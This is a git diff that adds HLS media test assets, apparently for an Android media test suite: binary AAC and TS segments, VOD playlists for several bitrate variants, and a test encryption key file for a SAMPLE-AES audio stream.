<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/assets/audio_only/00.aac b/tests/tests/media/assets/audio_only/00.aac
new file mode 100644
index 0000000..1c620bf
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/00.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/00.key b/tests/tests/media/assets/audio_only/00.key
new file mode 100644
index 0000000..eb61918
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/00.key
@@ -0,0 +1 @@
+ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/audio_only/01.aac b/tests/tests/media/assets/audio_only/01.aac
new file mode 100644
index 0000000..dc23c48
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/01.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/02.aac b/tests/tests/media/assets/audio_only/02.aac
new file mode 100644
index 0000000..1dd827d
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/02.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/03.aac b/tests/tests/media/assets/audio_only/03.aac
new file mode 100644
index 0000000..f6fd0c0
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/03.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/04.aac b/tests/tests/media/assets/audio_only/04.aac
new file mode 100644
index 0000000..60d0aef
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/04.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/05.aac b/tests/tests/media/assets/audio_only/05.aac
new file mode 100644
index 0000000..2875292
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/05.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/06.aac b/tests/tests/media/assets/audio_only/06.aac
new file mode 100644
index 0000000..dd0413f
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/06.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/07.aac b/tests/tests/media/assets/audio_only/07.aac
new file mode 100644
index 0000000..5d63cef
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/07.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/08.aac b/tests/tests/media/assets/audio_only/08.aac
new file mode 100644
index 0000000..402cd72
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/08.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/09.aac b/tests/tests/media/assets/audio_only/09.aac
new file mode 100644
index 0000000..587b910
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/09.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/10.aac b/tests/tests/media/assets/audio_only/10.aac
new file mode 100644
index 0000000..db8c5b8
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/10.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/11.aac b/tests/tests/media/assets/audio_only/11.aac
new file mode 100644
index 0000000..707dd38
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/11.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/12.aac b/tests/tests/media/assets/audio_only/12.aac
new file mode 100644
index 0000000..5ebe080
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/12.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/index.m3u8 b/tests/tests/media/assets/audio_only/index.m3u8
new file mode 100644
index 0000000..fedfafa
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/index.m3u8
@@ -0,0 +1,31 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-VERSION:5
+#EXT-X-TARGETDURATION:10
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x76fb8e8c870c8f95234d6c40aac52902
+#EXTINF:9.984,
+00.aac
+#EXTINF:9.984,
+01.aac
+#EXTINF:9.984,
+02.aac
+#EXTINF:9.984,
+03.aac
+#EXTINF:9.984,
+04.aac
+#EXTINF:9.984,
+05.aac
+#EXTINF:9.984,
+06.aac
+#EXTINF:9.984,
+07.aac
+#EXTINF:9.984,
+08.aac
+#EXTINF:9.984,
+09.aac
+#EXTINF:9.984,
+10.aac
+#EXTINF:9.984,
+11.aac
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/165340/00.ts b/tests/tests/media/assets/hls_variant/165340/00.ts
new file mode 100644
index 0000000..8a95fc5
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/01.ts b/tests/tests/media/assets/hls_variant/165340/01.ts
new file mode 100644
index 0000000..7983a01
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/02.ts b/tests/tests/media/assets/hls_variant/165340/02.ts
new file mode 100644
index 0000000..2582937
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/03.ts b/tests/tests/media/assets/hls_variant/165340/03.ts
new file mode 100644
index 0000000..4e4711e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/04.ts b/tests/tests/media/assets/hls_variant/165340/04.ts
new file mode 100644
index 0000000..e210aac
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/05.ts b/tests/tests/media/assets/hls_variant/165340/05.ts
new file mode 100644
index 0000000..5d445bf
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/06.ts b/tests/tests/media/assets/hls_variant/165340/06.ts
new file mode 100644
index 0000000..e83d2a3
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/07.ts b/tests/tests/media/assets/hls_variant/165340/07.ts
new file mode 100644
index 0000000..37322c0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/08.ts b/tests/tests/media/assets/hls_variant/165340/08.ts
new file mode 100644
index 0000000..25f9f00
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/09.ts b/tests/tests/media/assets/hls_variant/165340/09.ts
new file mode 100644
index 0000000..2debe48
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/10.ts b/tests/tests/media/assets/hls_variant/165340/10.ts
new file mode 100644
index 0000000..3eed736
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/11.ts b/tests/tests/media/assets/hls_variant/165340/11.ts
new file mode 100644
index 0000000..7ae79e9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/12.ts b/tests/tests/media/assets/hls_variant/165340/12.ts
new file mode 100644
index 0000000..4153626
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/13.ts b/tests/tests/media/assets/hls_variant/165340/13.ts
new file mode 100644
index 0000000..027adf4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/14.ts b/tests/tests/media/assets/hls_variant/165340/14.ts
new file mode 100644
index 0000000..ea7d0be
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/15.ts b/tests/tests/media/assets/hls_variant/165340/15.ts
new file mode 100644
index 0000000..48c92c9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/16.ts b/tests/tests/media/assets/hls_variant/165340/16.ts
new file mode 100644
index 0000000..19f0ebd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/17.ts b/tests/tests/media/assets/hls_variant/165340/17.ts
new file mode 100644
index 0000000..7d4897d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/18.ts b/tests/tests/media/assets/hls_variant/165340/18.ts
new file mode 100644
index 0000000..47431d0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/19.ts b/tests/tests/media/assets/hls_variant/165340/19.ts
new file mode 100644
index 0000000..9e98a4f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/20.ts b/tests/tests/media/assets/hls_variant/165340/20.ts
new file mode 100644
index 0000000..e674296
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/21.ts b/tests/tests/media/assets/hls_variant/165340/21.ts
new file mode 100644
index 0000000..2affe9d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/22.ts b/tests/tests/media/assets/hls_variant/165340/22.ts
new file mode 100644
index 0000000..0634296
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/23.ts b/tests/tests/media/assets/hls_variant/165340/23.ts
new file mode 100644
index 0000000..faf9ca8
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/24.ts b/tests/tests/media/assets/hls_variant/165340/24.ts
new file mode 100644
index 0000000..3b3f4d7
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/index.m3u8 b/tests/tests/media/assets/hls_variant/165340/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/1676816/00.ts b/tests/tests/media/assets/hls_variant/1676816/00.ts
new file mode 100644
index 0000000..aba6f79
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/01.ts b/tests/tests/media/assets/hls_variant/1676816/01.ts
new file mode 100644
index 0000000..18c382b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/02.ts b/tests/tests/media/assets/hls_variant/1676816/02.ts
new file mode 100644
index 0000000..8b45649
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/03.ts b/tests/tests/media/assets/hls_variant/1676816/03.ts
new file mode 100644
index 0000000..5a1dee6
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/04.ts b/tests/tests/media/assets/hls_variant/1676816/04.ts
new file mode 100644
index 0000000..69c4dfa
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/05.ts b/tests/tests/media/assets/hls_variant/1676816/05.ts
new file mode 100644
index 0000000..bd1e938
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/06.ts b/tests/tests/media/assets/hls_variant/1676816/06.ts
new file mode 100644
index 0000000..dfdfe31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/07.ts b/tests/tests/media/assets/hls_variant/1676816/07.ts
new file mode 100644
index 0000000..be22e90
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/08.ts b/tests/tests/media/assets/hls_variant/1676816/08.ts
new file mode 100644
index 0000000..a892318
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/09.ts b/tests/tests/media/assets/hls_variant/1676816/09.ts
new file mode 100644
index 0000000..9a1e3c9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/10.ts b/tests/tests/media/assets/hls_variant/1676816/10.ts
new file mode 100644
index 0000000..528e424
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/11.ts b/tests/tests/media/assets/hls_variant/1676816/11.ts
new file mode 100644
index 0000000..2ad52f9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/12.ts b/tests/tests/media/assets/hls_variant/1676816/12.ts
new file mode 100644
index 0000000..5275b47
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/13.ts b/tests/tests/media/assets/hls_variant/1676816/13.ts
new file mode 100644
index 0000000..5894d31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/14.ts b/tests/tests/media/assets/hls_variant/1676816/14.ts
new file mode 100644
index 0000000..44f5200
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/15.ts b/tests/tests/media/assets/hls_variant/1676816/15.ts
new file mode 100644
index 0000000..e548fb1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/16.ts b/tests/tests/media/assets/hls_variant/1676816/16.ts
new file mode 100644
index 0000000..9ad2c6a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/17.ts b/tests/tests/media/assets/hls_variant/1676816/17.ts
new file mode 100644
index 0000000..1cd735f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/18.ts b/tests/tests/media/assets/hls_variant/1676816/18.ts
new file mode 100644
index 0000000..a593dba
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/19.ts b/tests/tests/media/assets/hls_variant/1676816/19.ts
new file mode 100644
index 0000000..3fb49cb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/20.ts b/tests/tests/media/assets/hls_variant/1676816/20.ts
new file mode 100644
index 0000000..7a586e7
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/21.ts b/tests/tests/media/assets/hls_variant/1676816/21.ts
new file mode 100644
index 0000000..bd70554
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/22.ts b/tests/tests/media/assets/hls_variant/1676816/22.ts
new file mode 100644
index 0000000..12ea80d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/23.ts b/tests/tests/media/assets/hls_variant/1676816/23.ts
new file mode 100644
index 0000000..c1b5be9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/24.ts b/tests/tests/media/assets/hls_variant/1676816/24.ts
new file mode 100644
index 0000000..76bd0b5
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/index.m3u8 b/tests/tests/media/assets/hls_variant/1676816/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/344388/00.ts b/tests/tests/media/assets/hls_variant/344388/00.ts
new file mode 100644
index 0000000..e26ad20
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/01.ts b/tests/tests/media/assets/hls_variant/344388/01.ts
new file mode 100644
index 0000000..fa5395d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/02.ts b/tests/tests/media/assets/hls_variant/344388/02.ts
new file mode 100644
index 0000000..a924b05
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/03.ts b/tests/tests/media/assets/hls_variant/344388/03.ts
new file mode 100644
index 0000000..4136491
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/04.ts b/tests/tests/media/assets/hls_variant/344388/04.ts
new file mode 100644
index 0000000..cf03032
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/05.ts b/tests/tests/media/assets/hls_variant/344388/05.ts
new file mode 100644
index 0000000..25d127b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/06.ts b/tests/tests/media/assets/hls_variant/344388/06.ts
new file mode 100644
index 0000000..f132be4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/07.ts b/tests/tests/media/assets/hls_variant/344388/07.ts
new file mode 100644
index 0000000..b1e7f36
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/08.ts b/tests/tests/media/assets/hls_variant/344388/08.ts
new file mode 100644
index 0000000..bbeb4fd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/09.ts b/tests/tests/media/assets/hls_variant/344388/09.ts
new file mode 100644
index 0000000..f444ab9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/10.ts b/tests/tests/media/assets/hls_variant/344388/10.ts
new file mode 100644
index 0000000..910dd43
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/11.ts b/tests/tests/media/assets/hls_variant/344388/11.ts
new file mode 100644
index 0000000..892a6b3
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/12.ts b/tests/tests/media/assets/hls_variant/344388/12.ts
new file mode 100644
index 0000000..2a8bfeb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/13.ts b/tests/tests/media/assets/hls_variant/344388/13.ts
new file mode 100644
index 0000000..bf9f1a4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/14.ts b/tests/tests/media/assets/hls_variant/344388/14.ts
new file mode 100644
index 0000000..45c604c
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/15.ts b/tests/tests/media/assets/hls_variant/344388/15.ts
new file mode 100644
index 0000000..4d5de4f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/16.ts b/tests/tests/media/assets/hls_variant/344388/16.ts
new file mode 100644
index 0000000..9551838
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/17.ts b/tests/tests/media/assets/hls_variant/344388/17.ts
new file mode 100644
index 0000000..dde4452
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/18.ts b/tests/tests/media/assets/hls_variant/344388/18.ts
new file mode 100644
index 0000000..c7b3919
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/19.ts b/tests/tests/media/assets/hls_variant/344388/19.ts
new file mode 100644
index 0000000..5aa3c84
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/20.ts b/tests/tests/media/assets/hls_variant/344388/20.ts
new file mode 100644
index 0000000..0d509bb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/21.ts b/tests/tests/media/assets/hls_variant/344388/21.ts
new file mode 100644
index 0000000..252a953
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/22.ts b/tests/tests/media/assets/hls_variant/344388/22.ts
new file mode 100644
index 0000000..7098fdd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/23.ts b/tests/tests/media/assets/hls_variant/344388/23.ts
new file mode 100644
index 0000000..69bd886
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/24.ts b/tests/tests/media/assets/hls_variant/344388/24.ts
new file mode 100644
index 0000000..0542cc2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/index.m3u8 b/tests/tests/media/assets/hls_variant/344388/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/387360/00.ts b/tests/tests/media/assets/hls_variant/387360/00.ts
new file mode 100644
index 0000000..c7233c2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/01.ts b/tests/tests/media/assets/hls_variant/387360/01.ts
new file mode 100644
index 0000000..4d092dd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/02.ts b/tests/tests/media/assets/hls_variant/387360/02.ts
new file mode 100644
index 0000000..5b0322e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/03.ts b/tests/tests/media/assets/hls_variant/387360/03.ts
new file mode 100644
index 0000000..5081ef0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/04.ts b/tests/tests/media/assets/hls_variant/387360/04.ts
new file mode 100644
index 0000000..0f6f0fe
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/05.ts b/tests/tests/media/assets/hls_variant/387360/05.ts
new file mode 100644
index 0000000..e455dec
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/06.ts b/tests/tests/media/assets/hls_variant/387360/06.ts
new file mode 100644
index 0000000..14afcb9d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/07.ts b/tests/tests/media/assets/hls_variant/387360/07.ts
new file mode 100644
index 0000000..6f23d02
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/08.ts b/tests/tests/media/assets/hls_variant/387360/08.ts
new file mode 100644
index 0000000..a3d8dfd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/09.ts b/tests/tests/media/assets/hls_variant/387360/09.ts
new file mode 100644
index 0000000..87d6de1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/10.ts b/tests/tests/media/assets/hls_variant/387360/10.ts
new file mode 100644
index 0000000..04ab37a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/11.ts b/tests/tests/media/assets/hls_variant/387360/11.ts
new file mode 100644
index 0000000..1fa238b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/12.ts b/tests/tests/media/assets/hls_variant/387360/12.ts
new file mode 100644
index 0000000..445b0b9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/13.ts b/tests/tests/media/assets/hls_variant/387360/13.ts
new file mode 100644
index 0000000..6bcd81b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/13.ts
Binary files differ
